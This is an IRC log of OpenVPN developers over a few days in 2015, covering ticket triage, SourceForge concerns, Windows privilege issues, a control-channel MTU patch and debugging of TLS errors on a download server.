bots, because only 'the newest' has these numbers of downloads 13:16 <@mattock1> ok, I can't get rid of Files completely right now 13:16 <@mattock1> -> todo 13:17 <@cron2> who is Benjamin Gatti? (klicking on "jimyonan" leads to the "vertical windmills project", which looks totally awesome in a totally different way :) ) 13:19 <@syzzer> heh, indeed 13:20 <@mattock1> I have no clue who Benjamin Gatti is 13:20 <@syzzer> so files are on the todo. what about the mailing lists? should we start looking for alternatives? i guess that moving the list is going to be tough... 13:21 <@mattock1> yeah, it would be painful 13:21 <@mattock1> also for our users unless we think of some really fancy migration strategy 13:22 <@mattock1> actually, I'll check if we could export the user data from mailmail 13:22 <@mattock1> mailman :) 13:22 <@cron2> normally the list owner should be able to get a subscriber list 13:23 <@cron2> forgot to explicitely state it before: I do not have strong feelings either way today - if they do not get worse, I'm fine to stay, if you all distrust them enough, I'm fine to move on. 13:23 <@mattock1> yeah, I can get subscriber lists 13:23 <@cron2> our most valuable stuff is "git" and "windows installers" and I do not see acute danger there 13:23 <@mattock1> I'm fine with staying for now, as I'm lazy and have other things to do 13:24 <@mattock1> technically we could move the mailing lists elsewhere with some effort 13:24 <@syzzer> ok, lets leave it like this for now 13:24 <@mattock1> so "disable files, wait and see what stupid SF.net does next" 13:24 <@cron2> +1 13:25 <@syzzer> yes 13:25 <@mattock1> if the Files feature can't be disabled I can probably delete all the existing files 13:25 <@mattock1> (after addding them to the company museum) 13:26 <@mattock1> move on topic #4? 13:26 <@cron2> what is this windows stuff you're talking about? 13:27 <@mattock1> its the most loved and used operating system on desktop computers 13:27 <@mattock1> https://community.openvpn.net/openvpn/ticket/399 13:27 <@vpnHelper> Title: #399 (Issue with register-dns in Windows 8.1) – OpenVPN Community (at community.openvpn.net) 13:27 <@cron2> mattock1: used maybe, loved, certainly not :) 13:27 <@mattock1> "Child processes are executed non elevated. Which is a problem." 13:28 <@mattock1> yeah :P 13:28 <@cron2> looking at #516 right now, and that really seems to be "openvpn is just not running with admin privs" 13:28 <@mattock1> I believe the meat of ticket #399 is ^^^ 13:28 <@cron2> so it would go away with the iservice, or by running openvpn from service/nssm, or by running the gui as admin 13:28 <@cron2> done 13:29 <@cron2> the fact that openvpn is able to configure an IP address on the tap interface if not running privileged is actually a bug in my eyes 13:29 <@cron2> (because it hides the fact that it's lacking the needed privileges to do stuff like "setup routing" etc) 13:29 <@cron2> *and* the fact that "install IPv4 routes" fail silently 13:29 <@cron2> remedy: get the iservice up and running as quickly as possible 13:31 <@mattock1> iService will be a remedy for many bugs 13:31 <@mattock1> bugs/annoyances 13:31 * syzzer wakes up again 13:32 <@syzzer> right, iservice 13:32 <@cron2> thought we'd scared you away :) 13:32 <@syzzer> no, just in need of coffee 13:33 <@syzzer> I'll have to invest a bit more in doing proper windows builds, but this Sebastian guy suddenly kept me busy ;) 13:33 <@cron2> yeah, a bit of it spilled over :-) 13:34 <@cron2> mattock1: as a side note, could you point #565 at james? 13:35 <@mattock1> just a sec 13:36 <@mattock1> I've actually pointed James at the "OpenVPN Technologies, Inc products" report in Trac a while back 13:36 <@mattock1> I have no clue if he looks at it or not, but he should 13:36 <@mattock1> I assigned the ticket to him, so he should receive an email 13:36 <@cron2> yeah, but that one looks like it needs a bit of attention - if Connect crashes OSX 10.10.3, you'll hear more about that 13:37 <@cron2> thanks anyway 13:37 <@mattock1> I can poke at him, but don't expect miracles :P 13:38 <@cron2> yeah :) 13:39 <@mattock1> sent email 13:39 <@cron2> the version selector field in trac is so totally misordered... 13:39 * cron2 wonders what makes that happen 13:40 <@cron2> mattock1: oh, and what about #395? 13:40 <@syzzer> yeah, I was looking at that one too 13:41 <@mattock1> are you referring to https://community.openvpn.net/openvpn/ticket/395#comment:8 ? 13:41 <@vpnHelper> Title: #395 (Evaluating quoted path & file config statements syntax (Win32)) – OpenVPN Community (at community.openvpn.net) 13:41 <@cron2> I was wondering why it's still on milestone 2.3.7 13:41 <@mattock1> hmm 13:42 <@mattock1> didn't we take care of that ticket already? 13:42 <@cron2> " I'll also create a separate tickets for the connection block issue." 13:42 <@cron2> so, I think, this is what is left to do :) - and reference and close it 13:43 <@cron2> won't decrease the number of open tickets, but will clean milestone 2.3.7 :) 13:43 <@mattock1> there is no connection block bug report? I can take care of that... 13:44 <@cron2> as far as meeting topic #4 goes - I think there really is no way to "fix" this without the iservice (or installing openvpngui to run with increased privileges, but d12fk always vouches against that) 13:44 <@mattock1> which brings us to topic #1 which probably includes iService also 13:45 <@cron2> so which tickets do you want us to categorize? 13:46 <@cron2> "milestone 2.4"? 13:46 <@mattock1> yeah, basically clean up any ticket mess there might be 13:46 <@mattock1> to get an idea what is missing from the first 2.4 alpha 13:47 <@mattock1> let's see what milestones we have in Trac... 13:47 <@cron2> the big things are not really there yet - iservice, route-gateway for ipv6 13:47 <@cron2> AEAD is there, but what should it be? 13:48 <@mattock1> so we have "alpha 2.4", "beta 2.4", "rc 2.4" and "release 2.4" 13:48 <@mattock1> all the big stuff should probably go into "alpha 2.4" 13:48 <@cron2> hah, 557 is mine 13:49 <@syzzer> iservice, aead -> alpha 13:49 <@syzzer> #545 -> alpha ? or even 2.3.8 ? 13:50 <@cron2> lemme check... 13:50 <@cron2> definitely alpha, maybe even 2.3.8, depending how intrusive the change is 13:51 <@syzzer> I looked into that one a bit, because I ran into it myself and thought the 138-bytes packets were ridiculous 13:52 <@syzzer> changing to a new 'fixed-with-comfortable-headroom'-value should be simple 13:53 <@mattock1> https://community.openvpn.net/openvpn/ticket/569 13:53 <@vpnHelper> Title: #569 (White space before end tags can break the config parser) – OpenVPN Community (at community.openvpn.net) 13:53 <@cron2> yeah, I run into this all the time when waiting for ages for the handshake with ecrist's test server :) - but haven't had time to look into it 13:54 <@cron2> what is with all these people that fill in whitespace in places... #567 is about whitespace in the very first line... 13:55 <@mattock1> ok, I'm back 13:56 <@syzzer> cron2: the hard part is probably figuring out what exactly is correct behaviour. then you just replace the frame_set_mtu_dynamic() call in tls_init_control_channel_frame_parameters() (ssl.c) to something more sane 13:56 <@mattock1> lol, there's a milestone 2.2.2 13:57 <@cron2> trac is hating me today 13:58 <@mattock1> I moved the 2.2.2 tickets to release 2.4 13:58 <@vpnHelper> RSS Update - tickets: #569: White space before end tags can break the config parser <https://community.openvpn.net/openvpn/ticket/569> 13:59 <@cron2> syzzer: yeah, but I'm not comfortable enough with the code to just say so, need to stare at it a bit more. In principle, since James moved to 1200 in OpenVPN 3, it should be fine from the network side of things 14:01 <@syzzer> cron2: ok. I have a patch in my tree that tries to make sure the resulting IP packet ends up at most 576 bytes (sounds familiar?). I can easily change that to max 1280... 14:02 <@syzzer> it is ssl.c after all, so I felt reasonable comfortable with the code 14:02 <@cron2> 576 is the old regime... 1280 sounds very ipv6ish :) - maybe aim for 1250 as James stated for 3? 14:02 <@cron2> good argument (about ssl.c) 14:03 <@syzzer> I'm wondering if that 1250 is before or after the control channel overhead 14:03 <@syzzer> previous regime was max 100 bytes *before* the overhead 14:04 <@syzzer> but 1250 is fine by me 14:05 <@syzzer> mattock1: can I just start throwing around some of 'my' crypto tickets? 14:05 <@cron2> 1250 after overhead, I'd say 14:06 <@cron2> syzzer: what are you planning to do? 14:06 <@mattock1> syzzer: feel free 14:08 <@syzzer> #385 -> 2.3.8 14:10 <@mattock1> should we fix this even for 2.3.x? https://community.openvpn.net/openvpn/ticket/68 14:10 <@vpnHelper> Title: #68 (Windows route add command failed) – OpenVPN Community (at community.openvpn.net) 14:10 <@mattock1> iService will fix this for 2.4, but do we want to create a "fix" (force gui to run as admin) with 2.3.x? 14:10 <@cron2> syzzer: ack. 14:11 <@syzzer> mattock1: we'll have to convince d12fk ;) 14:11 <@cron2> mattock1: well, I'm all for "install it with admin privs for 2.3", but d12fk is the one who was opposing this... 14:12 <@mattock1> oh was he... 14:12 <@cron2> so maybe do another round of discussion with him? 14:12 <@cron2> yeah, something along the lines of "forgetting to remove the bits later on when no longer needed" or something 14:12 <@mattock1> I think we could just leave 2.3.x in its current state 14:13 <@mattock1> things have been like this forever and there's only a relatively modest outcry from users 14:13 <@mattock1> this one should be fixed, though: https://community.openvpn.net/openvpn/ticket/153 14:13 <@vpnHelper> Title: #153 (Add "RequestExecutionLevel admin" to tapinstall.exe manifest file) – OpenVPN Community (at community.openvpn.net) 14:13 <@syzzer> #554 -> 2.4 beta (?) 14:13 <@cron2> mattock1: did you? 14:14 <@cron2> syzzer: ack 14:17 <@syzzer> #387 -> 2.4 beta 14:17 <@mattock1> was? 14:17 <@syzzer> '2.4' 14:18 <@mattock1> ok so... perhaps we should raise privileges for the 2.3 branch once 2.4 is out: https://community.openvpn.net/openvpn/ticket/68#comment:5 14:18 <@vpnHelper> Title: #68 (Windows route add command failed) – OpenVPN Community (at community.openvpn.net) 14:19 <@cron2> mattock1: "did you fix 153" (as you said "should be fixed") 14:20 <@mattock1> no, I did not fix, but I will fix 14:20 <@mattock1> its 2.4 alpha now 14:21 <@mattock1> this seems like one of the option parser issues: https://community.openvpn.net/openvpn/ticket/78 14:21 <@vpnHelper> Title: #78 (openvpn http-proxy auth issue with profiles) – OpenVPN Community (at community.openvpn.net) 14:22 <@cron2> syzzer: yep, makes sense 14:22 <@mattock1> perhaps we should consider postponing it until 2.5 unless somebody feels like rewriting the option parser 14:22 <@mattock1> (ticket 78) 14:23 <@cron2> maybe we already got this covered when plaisthos fixed lots of other <connection> issues... 14:25 <@mattock1> asked about that 14:25 <@mattock1> if we don't get any response I say move it to "no milestone" or "2.5" 14:26 <@cron2> mattock1: your #395 ticket refers to #395...? 14:26 <@cron2> #569 :) 14:27 <@mattock1> lol, that is what happens when a human is a part of an information system :P 14:27 <@cron2> loops and hilarity ensues 14:27 <@cron2> folks, I'm spent now... classifying tickets is harder than actual coding 14:28 <@mattock1> it indeed is 14:28 <@mattock1> we don't need to do this in a meeting 14:28 <@mattock1> actually 14:29 <@mattock1> that said, I'd prefer moving this to "no milestone": https://community.openvpn.net/openvpn/ticket/325 14:29 <@vpnHelper> Title: #325 (Windows: Lacking ASLR and DEP support) – OpenVPN Community (at community.openvpn.net) 14:29 <@syzzer> no, but a 'gathering' does make sense to me :) 14:29 <@cron2> yes, indeed 14:29 <@cron2> (what syzzer said) 14:29 <@mattock1> I've poked at this every now and then and documentation on the subject is scarse 14:29 <@mattock1> yes, we need to organize the milestones or we won't get 2.4 out 14:29 <@mattock1> any version 14:29 <@mattock1> :P 14:29 <@cron2> shouldn't it just be a compiler switch? 14:29 <@mattock1> in theory probably yes 14:30 <@mattock1> from what I've read odd things could start happening 14:31 <@cron2> if I understand that right, "normal" programs should just work, only if doing tricks it might break 14:32 <@mattock1> I can at some point poke at this a bit more, but it seems that very few projects are using ASLR or DEP in conjunction with mingw_w64 14:32 <@mattock1> according to the scarsity of search results 14:32 <@mattock1> anyways, I don't want this to be a blocker for 2.4 (alpha) release as there's plenty of other more important stuff to cover 14:33 <@mattock1> but lets continue the ticket review/categorization later 14:33 <@mattock1> it's 22:33 here already, need to head to bed 14:33 <@cron2> yeah, this sort of "we should look at it eventually, but it's not a release blocker" stuff is slightly hard to classify 14:33 <@syzzer> I can confirm that. for openvpn-nl I did not enable it for the win builds either, because mingw (or windows itself, I don't recall) was not cooperating 14:33 <@cron2> ic... 14:33 <@mattock1> ah, good to hear 14:33 <@cron2> anyway 14:33 <@syzzer> yes, good night :) 14:34 <@cron2> good night, mattock :-) 14:34 <@mattock1> syzzer: I will use your experiences as an argument for keeping this in the "needs volunteer" category :P 14:34 <@mattock1> good night guys! 14:34 * cron2 will poke some more on his 2.4 open issues (namely, redirecting gateway for ipv6).... 14:34 <@cron2> should have something in 2 weeks 14:34 <@cron2> maybe we can hit 2.4 in delft :) 14:34 <@mattock1> so next meeting in two weeks? 14:34 <@mattock1> at latest 14:34 <@cron2> "in 2018" *duck* 14:35 <@cron2> yes 14:35 <@mattock1> by 2018 james may have been able to release openvpn 3 :D 14:35 <@mattock1> like for real 14:35 <@cron2> haha :) 14:35 <@syzzer> I'll provide some review material for you guys ;) 14:35 <@cron2> good 14:35 <@mattock1> great! 15:05 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 265 seconds] 16:11 <@cron2> syzzer: amazing patch :) - I'll have to stare at the code for a while to see what it does 16:11 <@cron2> "frame" is full of magic... 16:12 <@syzzer> cron2: yes, those one-liners look far more simple than they are :p 16:12 <@cron2> two questions - a) in which way is it actually "dynamic" and b) why not use frame_set_mtu_dynamic() anymore? 16:12 <@syzzer> a) not at all (and it never was) 16:13 <@syzzer> b) because frame_set_mtu_dynamic() is a multi-headed beast we do not need at all 16:13 <@cron2> mmmh, maybe it was planned that way... (and the "dynamic" part never happened) 16:13 <@syzzer> no, the struct frame is borrowed from the data channel code I think 16:13 <@cron2> I'll stare and test wednesday (most likely)... too busy tomorrow 16:14 <@syzzer> there it *is* dynamic 16:14 <@syzzer> which means that 'dynamic' is sort of similar to 'the one you really use' 16:14 <@cron2> mmmh, so what does the "oh, I received an ICMP packet too big!" code do if it was a control packet? nothing? 16:15 <@syzzer> cron2: yes, I think so... 16:15 <@cron2> some day I need to understand the dynamic MTU stuff :-) 16:15 <@cron2> but not today 16:15 <@cron2> good night! 16:16 <@syzzer> (if we have such code, I wondering now...) 16:16 <@syzzer> good night! 16:16 <@cron2> there is stuff I've come across, but not investigated fully yet 16:23 <@syzzer> oh goodie, just tripped on another bug caused by the daemon() reordering... 16:23 <@syzzer> meh, another time 19:44 -!- pekster [~rewt@openvpn/community/developer/pekster] has joined #openvpn-devel 19:44 -!- mode/#openvpn-devel [+o pekster] by ChanServ 20:03 -!- moezroy [~qq@d108-180-99-187.bchsia.telus.net] has joined #openvpn-devel 22:05 -!- moezroy [~qq@d108-180-99-187.bchsia.telus.net] has quit [Quit: Leaving] 22:49 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood] 22:49 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 22:49 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Tue Jun 30 2015 00:06 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:06 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:43 <@vpnHelper> RSS Update - gitrepo: Report missing end-tags of inline files as errors <https://github.com/OpenVPN/openvpn/commit/68eecf76978a80bd5d88e944e4ed5e42bf2fd8e4> 02:47 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 255 seconds] 02:48 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 02:56 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 265 seconds] 02:57 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 06:06 <@vpnHelper> RSS Update - tickets: #570: Options error: Unrecognized option or missing parameter(s) in [PUSH-OPTIONS]:4: register-dns (2.3.6) <https://community.openvpn.net/openvpn/ticket/570> 06:39 -!- moezroy [~qq@d108-180-99-187.bchsia.telus.net] has joined #openvpn-devel 07:23 < moezroy> cron2, This openvpn thingie is leaking all my requests all over the place in clearnet. Its even telling the middle 2 routers the ip address I am using for the VPN tunnel. 07:23 < moezroy> server: port 1194; proto udp; dev tun; topology subnet; server 10.0.99.0 255.255.255.0; ca ca.crt; cert server.crt; key server.key ; dh dh2048.pem; push "redirect-gateway def1 bypass-dhcp"; keepalive 10 120 ; comp-lzo ; persist-key ; persist-tun; verb 6 07:23 < moezroy> client: client; pull; dev tun; proto udp; remote 200.200.0.3 1194; resolv-retry infinite; nobind; persist-key; persist-tun; ca ca.crt; cert client.crt; key client.key; remote-cert-tls server; comp-lzo; verb 6; explicit-exit-notify 2; ping 10; ping-restart 60; route-method exe; route-delay 2 07:24 < moezroy> w7client(ip3.3.0.3)<==>centosVM1 running bgp to simulate real internet<==>centosVM2<==>w7(openvpn server 200.200.0.3) 07:25 < moezroy> kernel: IN=eth6 OUT=eth5 SRC=3.3.0.3 DST=200.200.0.3 LEN=78 TOS=0x00 PREC=0x00 TTL=127 ID=6126 PROTO=UDP SPT=137 DPT=137 LEN=58 07:25 < moezroy> kernel: IN=eth6 OUT=eth5 SRC=10.0.99.2 DST=200.200.0.3 LEN=78 TOS=0x00 PREC=0x00 TTL=126 ID=14218 PROTO=UDP SPT=137 DPT=137 LEN=58 07:27 < moezroy> Client logs https://paste.fedoraproject.org/237982/35665697/ && Here are my iptable rules for the middle 2 VMs: https://paste.fedoraproject.org/237988/43566617/ 07:27 < moezroy> Is this a known security issue? 07:34 <@cron2> 137 is just windows belching all over each available network 07:35 < moezroy> cron2, ah ok... should I be able to access the shares on the w7 server @ 200.200.0.3? 07:36 < moezroy> using the above config. 07:36 <@cron2> no 07:36 <@cron2> because you cannot route 200.200.0.3 through a tunnel that goes *to* 200.200.0.3 07:37 <@cron2> access the shares on the 10.0.99.x address of the server 07:37 <@cron2> there is an "inside" IP and an "outside" IP, and outside traffic necessarily goes, uh, to the outside network 07:37 <@cron2> (and this really is a question for #openvpn, not for -devel) 07:38 < moezroy> cron2, no relation with private ip address ranges right? because in this case I used public ip ranges for all 07:39 < moezroy> cron2, thank you for your help. :) 08:04 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 08:04 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 08:04 -!- dazo_afk is now known as dazo 08:21 <@plaisthos> cron2: hah, my android apps disagrees with you *ducks* 08:34 <@cron2> plaisthos: well, on magic operating systems, everything is possible :-) 08:34 <@cron2> but he's using lame windows stuff... 08:38 <@plaisthos> cron2: oh .... 08:39 <@plaisthos> as for the mtu patch 08:39 <@plaisthos> I will probably include that one in the next release of icsopenvpn and see if something breaks 08:41 <@plaisthos> but since OpenVPN Connect includes that mtu=1200ish on iOS forever I do not think that something will be broken 09:15 -!- moezroy [~qq@d108-180-99-187.bchsia.telus.net] has quit [Ping timeout: 258 seconds] 09:27 <@cron2> plaisthos: yeah, that was my thinking... but then, since we *have* a mtu option which fits, if it is easy to use that, I'm even more for it :) 09:29 <@plaisthos> cron2: we have so many mtu options 09:29 <@plaisthos> one them should fit to lower the 1250 09:30 <@cron2> indeed, but --link-mtu is exactly this "do not send packets larger than <x>" 09:30 <@plaisthos> so can't we just say min(link_mtu, 1250) and are done? 09:31 <@cron2> we can, and log the result :) 09:31 <@cron2> (I'm not sure if that particular part of the code has access to the options struct, though - but syzzer will know) 09:32 <@plaisthos> udp-mtu is an alias for link-mtu 10:39 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 256 seconds] 10:44 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 10:44 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 10:44 -!- dazo_afk is now known as dazo 10:51 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 246 seconds] 11:05 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 11:05 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 11:05 -!- dazo_afk is now known as dazo 11:13 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 256 seconds] 11:23 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 11:23 -!- mode/#openvpn-devel [+o dazo] by ChanServ 11:25 -!- s7r [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 11:27 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 248 seconds] 11:30 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 11:30 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 11:31 -!- dazo_afk is now known as dazo 11:34 <@syzzer> cron2, plaisthos: well, link-mtu is rather high by default and we *do* have a mechanisms to dynamically determine the 'dynamic mtu' of the data channel, but we don't have something like that for the control channel 11:34 <@syzzer> but it is hidden in the OCC stuff, so I have no clue if it is actually used... 12:17 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Ping timeout: 264 seconds] 12:17 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 248 seconds] 12:20 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 12:46 -!- Guest27398_l [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 13:49 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 244 seconds] 13:50 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 13:55 <@cron2> syzzer: min(link-mtu,1250) :) 13:55 <@cron2> so "if it turns out that someone's link really cannot handle more than 1150, then just set link-mtu 1150 and be done" 13:56 <@cron2> I want bigger control packets, but I also want an easy (= no new option, no new documentation :) ) mechanism to reduce the control packet MTU if unavoidable 13:56 <@cron2> like, "tls-version-max"... 14:04 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 14:45 <@syzzer> ack 14:57 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 255 seconds] 14:58 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 16:00 <@cron2> syzzer: 1210 bytes *ethernet* payload? Shouldn't that be "TLS payload"? 16:00 <@cron2> (ethernet payload would be 1278 in my book... 1250 net udp payload + 8 udp + 20 ip...) 16:01 <@cron2> and besides, I like the patch :-) - still just a few lines *and* all the functionality, whee! 16:13 <@plaisthos> the manpage seems to be wrong too 16:13 <@plaisthos> it talks about udp packet size and really means the size of IP+UDP 16:14 <@plaisthos> but that is nitpicking 16:23 -!- Guest27398_l [debian-tor@openvpn/user/s7r] has quit [Remote host closed the connection] 16:24 -!- Guest27398_l [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 17:42 -!- Guest27398_l is now known as s7r 18:14 -!- dazo is now known as dazo_afk 20:46 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 265 seconds] 21:06 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel --- Day changed Wed Jul 01 2015 00:27 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 244 seconds] 00:29 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 02:50 <@syzzer> cron2: I really meant ethernet. That 1210 is the packet size reported by wireshark. 02:51 <@cron2> syzzer: well, it sort of makes sense, as the "1250" are not true 1250 anyway, given 02:51 <@cron2> Control Channel MTU parms [ L:1541 D:1184 EF:66 EB:0 ET:0 EL:3 ] 02:52 <@syzzer> the frame stuff seems to be a bit conservative here and there 02:52 <@syzzer> yep :) 02:52 <@cron2> D:1184 - so if that is "the full TLS packet", adding 28 to it yields 1212 02:53 <@cron2> seems like TUN_LINK_DELTA() is a bit too big/conservative for control frames 02:54 <@syzzer> indeed. but I didn't feel like rewriting all that code ;) 02:54 <@cron2> but anyway, what we have is a 10-fold improvement :) - let's give this a good beating and then improve further, as you wrote 05:11 -!- dazo_afk is now known as dazo 09:16 -!- FlorianBd [~FlorianBd@servail.com] has quit [Ping timeout: 255 seconds] 09:42 -!- riddle [riddle@us.yunix.net] has quit [Disconnected by services] 09:42 -!- riddle [riddle@us.yunix.net] has joined #openvpn-devel 09:43 -!- plai [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 09:43 -!- mode/#openvpn-devel [+o plai] by ChanServ 09:46 -!- Netsplit *.net <-> *.split quits: @plaisthos, EvilJStoker, ender| 09:46 -!- Netsplit *.net <-> *.split quits: _bt, @d12fk 09:48 -!- Netsplit over, joins: EvilJStoker 09:54 -!- d12fk [~heiko@s15438066.onlinehome-server.info] has joined #openvpn-devel 09:54 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 09:54 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 10:01 <@cron2> pre-mtu patch: 5 seconds setup time to ecrist's server, with patch: 4 seconds. Mmmh. I am not truly convinced 10:01 <@cron2> it says here 10:01 <@cron2> Wed Jul 1 17:01:02 2015 us=864304 Control Channel MTU parms [ L:1542 D:1212 EF:38 EB:0 ET:0 EL:3 ] 10:01 <@cron2> but there... 10:02 <@cron2> 17:00:22.797448 IP 193.149.48.170.35412 > 199.102.77.82.51194: UDP, length 22 10:02 <@cron2> 17:00:22.797734 IP 193.149.48.170.35412 > 199.102.77.82.51194: UDP, length 22 10:02 <@cron2> 17:00:22.797951 IP 193.149.48.170.35412 > 199.102.77.82.51194: UDP, length 22 10:02 <@cron2> ... but I think I see why, this is "just acks" and the big packets are coming in from the unpatched server... 10:08 <@cron2> ok, down to 3 seconds... still quite a bit of chatter going on... 10:09 <@cron2> and why is it sleeping 2 seconds between "Peer Connection Initiated" and "SENT CONTROL.*PUSH_REQUEST"... 10:14 <@vpnHelper> RSS Update - tickets: #571: Amazing results with Progain 350 <https://community.openvpn.net/openvpn/ticket/571> 10:20 <@vpnHelper> RSS Update - tickets: #571: Amazing results of tracking down and killing Spammers on sight <https://community.openvpn.net/openvpn/ticket/571> 10:22 <@plai> cron2: you could also try to increase the window size for control packets 10:23 <@cron2> plai: this seems to be fine here. It's actually the way it is - "when TLS is done, we queue a push_request to be sent in +1 second from now, to be processed by the per-second handler, which seems to run in a way to make this "2 seconds"... 10:24 <@cron2> forward.c, look for "push_request" (push_request_interval etc) 10:24 <@plai> cron2: oh okay 10:24 <@cron2> window size could come into play when sending very large push replies (or really large certificates) - my certs fit into 2 packets now, and the window is 4(-ish) 10:25 <@cron2> I do wonder why we're not sending the push request right ahead... 10:25 <@plai> maybe we did and the retry stuff got in the way 10:26 <@cron2> retry for what? push_request or TLS handshake? 10:26 <@plai> push request 10:27 <@cron2> I'm not sure it makes a difference if we send the requests at "now, now+5" or "now+2, now+7"... 10:27 <@cron2> right now, we're happy that if (CONNECTION_ESTABLISHED (c)), and then we just do nothing (except set up management state) for 2 seconds... 10:27 <@plai> on the client side? 10:27 <@cron2> yes 10:28 <@cron2> forward.c, check_connection_established_dowork() 10:29 <@cron2> I don't understand why it waits *two* seconds, it should only be one 10:30 <@cron2> ah 10:30 <@cron2> we don't 10:30 <@plai> I would guess timer resolution in openvpn 10:30 <@cron2> we do the TLS handshake, then we setup a 1-second delay for the "wait_for_connect" event, and in that, we set up another 1-second timer for push_request 10:31 <@cron2> yeah, init.c 10:31 <@cron2> do_init_timers() 10:31 <@cron2> /* initialize connection establishment timer */ 10:31 <@cron2> event_timeout_init (&c->c2.wait_for_connect, 1, now); 10:33 <@cron2> indeed, down to 2 seconds now... 10:36 <@plai> and OpenVPN Connect probably does not do these delays and thous connetcs much faster 10:36 <@cron2> no idea, didn't measure (yet, but now I'm curious) 10:41 -!- mator [~mator@u163.east.ru] has joined #openvpn-devel 10:41 < mator> !git 10:41 <@vpnHelper> "git" is (#1) For the stable git tree: git clone git://git.code.sf.net/p/openvpn/openvpn or (#2) For the development git tree: git://git.code.sf.net/p/openvpn/openvpn-testing or (#3) Browse the git repositories here: http://sourceforge.net/p/openvpn/openvpn-testing/ci/master/tree/ or (#4) See !git-doc how to use git or (#5) git troubles? http://justinhileman.info/article/git-pretty/git-pretty.png or 10:41 <@vpnHelper> (#6) for the windows TUN/TAP driver repo, look at !tapdrvr 10:42 < mator> uhh 10:42 < mator> so is https://github.com/OpenVPN/openvpn have any relation to openvpn actually ? 10:42 <@vpnHelper> Title: OpenVPN/openvpn · GitHub (at github.com) 10:43 <@cron2> yes 10:43 <@cron2> we push to sf and github 10:43 < mator> ahh k, thanks 10:44 <@vpnHelper> RSS Update - gitrepo: Increase control channel packet size for faster handshakes <https://github.com/OpenVPN/openvpn/commit/fc91d4b0071178e298052078431fb86f03be84fc> 11:11 < mator> sucks to be me... i almost don't write in c, but openvpn needs to be more ipv6 aware... 11:12 < mator> manage.h , struct log_entry only ipv4 aware 12:09 <@cron2> what is a struct log_entry? 12:10 <@cron2> what is it for? 12:13 <@cron2> (in other words, why does it have IP addresses in it?) 12:20 <@dazo> mattock: I think you have some issues with swupdate.openvpn.net ... I've tested from 3 different ISPs, with CentOS5, SL6 and RHEL7 .... 12:21 <@dazo> CentOS5: ]$ curl -I https://swupdate.openvpn.org/community/releases/openvpn-install-2.3.7-I602-x86_64.exe 12:21 <@dazo> curl: (35) error:14077438:SSL routines:SSL23_GET_SERVER_HELLO:tlsv1 alert internal error 12:21 <@dazo> SL6: $ curl -I https://swupdate.openvpn.org/community/releases/openvpn-install-2.3.7-I602-x86_64.exe 12:21 <@dazo> curl: (35) SSL connect error 12:21 <@dazo> RHEL7: $ curl -I https://swupdate.openvpn.org/community/releases/openvpn-install-2.3.7-I602-x86_64.exe 12:21 <@dazo> curl: (35) Cannot communicate securely with peer: no common encryption algorithm(s). 12:22 <@dazo> (Firefox on RHEL7 works though .... so that might be what debbie10t is complaining about on the -devel ML) 12:24 <@dazo> openssl s_client -connect .... works on all though 12:25 <@dazo> and wget works on all except CentOS5 12:25 <@cron2> wget works on *one* of my gentoo machines, but not on the other one... 12:26 <@dazo> Hmmm ... 12:26 <@dazo> $ host swupdate.openvpn.net 12:26 <@dazo> swupdate.openvpn.net has address 173.192.224.173 12:26 <@dazo> swupdate.openvpn.net has address 96.44.184.130 12:26 <@cron2> oh 12:26 <@cron2> I see these now as well, but that's not what I had before 12:27 <@cron2> seems some sort of CDN is involved (and a cheap one, not having IPv6...) 12:27 <@dazo> yeah 12:27 <@dazo> I see some of my attempts even was against 104.28.0.12 12:28 <@dazo> Ouch! https://www.ssllabs.com/ssltest/analyze.html?d=swupdate.openvpn.net&s=173.192.224.173&hideResults=on&latest 12:28 <@vpnHelper> Title: SSL Server Test: swupdateopenvpnnet (Powered by Qualys SSL Labs) (at www.ssllabs.com) 12:29 <@dazo> (waiting for 96.44.184.130 to complete) 12:30 <@dazo> Same result on the other IP as well ... 